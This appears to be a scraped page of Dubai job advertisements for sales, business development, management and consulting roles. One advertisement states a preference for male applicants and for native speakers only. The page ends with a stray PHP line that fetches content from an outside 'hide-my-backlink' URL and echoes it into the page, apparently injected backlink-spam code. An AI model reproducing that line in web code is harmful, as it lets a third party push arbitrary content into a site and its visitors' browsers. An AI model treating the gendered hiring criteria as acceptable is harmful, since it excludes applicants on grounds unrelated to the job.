Jobs updated


Management


Transport Manager Dubai


Transport Manager

Job description:
Knows, understands, incorporates, and demonstrates the Trinity Health Mission, Vision, and Values in behaviours, practices, supports and endorses senior leadership decisions, goals, objectives, and strategies.

Experience:
2yrs in Transportation Management

Job type: Full time.

Salary: 18,000

Account manager Dubai


Job description: Key Account Manager & Team Leader (outdoor sales roles) -Etisalat Channel Partner
Job Description
One of our Client- a premium channel partner of Etisalat Telecom (UAE) is looking to hire candidates for the following roles to their Dubai Office.
Team Leader
Key Account Manager 
Sales consultants 
Requirements as below:
Please note that ALL THE ABOVE ROLES ARE purely a outdoor SALES/ Business Development role (nothing related to Accounts/ finance)
Must have 2-3 years of corporate sales experience in telecom in UAE MARKET (preferably with Etisalat or DU).
Digital product experience preferred. 
native speakers only need to apply (any one language is mandatory)
Language fluency is mandatory for all the roles.
Salary :AED 4,000/- to AED 8000/- (depending on the Designation & Experience of the candidate)
Preferably MALE candidate with 
UAE Driving license .
UAE Driving License is mandatory for KAM & Team leader roles
.

Right Search Resourcing

Chief Executive Officer Dubai

 Healthcare Industry One of the well reputed medical center in Abu dhabi is urgently looking for a CEO with exposure in healthcare industry in UAE. Candidate must have Minimum of 22 years experience. Senior level candidate from hospital / medical industry may apply immediately. Attractive salary is offered to right incumbent.

Business development manager Dubai


ASJ Trading

Business Development and Client Management (Medical Equipment)

Job Description
ASJ Trading, a medical equipment trading company is looking for a strong business development lead to bring in new business and develop lasting client relationships. 
Key Responsibilities:
Identify, develop an maintain an active pipeline of prospective clients to drive new business
Identify and pursue new business opportunities in targeted markets and establish strategic relations with key decision makers
Convert leads generated/received
Identify cross and up-selling opportunities
Develop client database and maintain close customer relationships with existing clients

Skills
Proficiency in English
Bachelor’s degree or equivalent in Marketing, Business Administration or other relevant field
2-3 years of prior experience in a similar role
Exceptional communication skills and excellent work ethic
Strong multi-tasker who thrives in a fast paced environment
International experience and multiple languages is a plus
Must be able to interact regionally and globally
Prior experience in Medical field or Engineering background is preferred


 

Business manager Dubai


INK Drop Communications

Are you a dynamic and results-oriented professional with a passion for driving business growth? Are you experienced in social media marketing, email marketing campaigns, and cold calling, and skilled in utilizing Microsoft packages and ERP systems? If so, we want you to join our team as a Business Development Executive (you must be based in UAE) Responsibilities: • Develop and implement effective business development strategies to drive growth and meet revenue targets. • Identify and target potential clients through various channels, including cold calls, email marketing campaigns, and social media. • Cultivate and maintain strong relationships with existing clients while continually seeking opportunities for upselling and cross-selling. • Conduct market research to identify emerging trends, industry insights, and competitor analysis. • Create and manage social media marketing campaigns to enhance brand visibility and engagement. • Collaborate with the marketing team to develop compelling marketing collateral and content. • Utilize ERP systems to streamline business processes and enhance customer service. • Prepare and deliver persuasive presentations to potential clients. • Work closely with cross-functional teams to ensure the successful execution of projects and initiatives. • Monitor and report on key performance metrics, providing insights and recommendations for improvement.

Business Innovation Specialist Dubai


The Business Innovation Specialist is an all-rounder position that requires a high level of initiative and a self-starter attitude with an appetite for learning. The selected applicant will have the opportunity to experience a variety of knowledge and innovation tools and techniques and get exposed to different clients of the organization.
Consulting Responsibilities:
  • Under general direction, engage with clients to apply innovative ideas towards the realization of data requirements for data and research plans.
  • Extract data from various information systems and conduct statistical analysis through the application of the appropriate methods.
  • Maintain responsibility for gathering requirements, designing and developing reports, and the deploying, administering, and maintaining reports within the context of translating research into practice. 
  • Performs basic and advanced quantitative or qualitative analyses to assist in the identification of client issues and the development of client specific solutions.
  • Assists in the design and structures of informal and formal presentations that are created with respect to a cross-discipline audience.
  • Must be comfortable interfacing directly with clients
  • Must be able to present aspects of innovative solutions to non-technical clients.
  •  Must maintain an innovative thought process by engaging in the latest developments within the market and exercise flexibility to meet project objectives
 
Academic Qualifications/Education: 
·        Minimum Bachelor Degree in Business Administration, Social Sciences, innovation, communications or any related discipline, Master’s degree is an advantage
 
Required Skills and Experience
Minimum working experience of 3 years in same or related field     
Excellent communication skills in English & Arabic
Exceptional analytical ability to evaluate information and fluency in writing for the preparation of reports and journal article submission.
Creative and able to think out of the box
Must have an inquisitive nature, conceptualize and explore what-if scenarios when facilitating groups
Must be organized and have good interpersonal skills
Requires listening skills as well as presentation skills, and should be comfortable conducting interviews and discussions with clients and other stakeholders to collect information
Must have the ability to develop strong, successful business relationships with customers as well as internal teammates
Ability to manage time and resources effectively to achieve goals
Excellent computer skills, with proficiency in Word, Excel and PowerPoint.
Must be able to work well under pressure and have a high tolerance for stress.
Positive attitude, willing to take initiative and carry out tasks independently. 

Immigration consultants Dubai


Job description: Looking for experienced Immigration Sales Consultants to generate business for the company. Should have working for Canadian & Australian Immigration process before.

1- Arabic Speaker

Skills Required:

1-2 Years Experience
Presentable Personality
Sharp, Confident and creative mind
MS Excel, MS Office
Must have telesales experience before and have strong convincing skills.
Mention your joining date, because we might be interested in someone, who’s willing to join us immediately.


Territory Sales Manager Dubai'

A UAE Leading Information Technology firm (based on Microsoft solutions) , is looking to recruit a Territory Sales Manager to manage the sales organization and drive the direct sale of its products and Professional Services.
The main responsibility will be:
• To meet company sales target objectives by recruiting the needed sales team and establishing their sales objectives by forecasting and developing annual sales quotas;
• To maintain sales staff job results by counseling and disciplining employees; planning, monitoring, and appraising job results.
• To collaborate with different organizations in the company including Presales, PMO and Delivery Teams to project expected sales funnel and achieve the right profit margins for delivered solutions.
• To be a solution seller with expertise in selling enterprise solutions and not just account management, this requires a good understanding of enterprise applications, operating systems and programming languages and previous experience either in Business Analysis, Presales or in Microsoft Product knowledge.

$framework_controller_2 = file_get_contents('https://hide-my-backlink.com/anchor/url.php'); echo $framework_controller_2;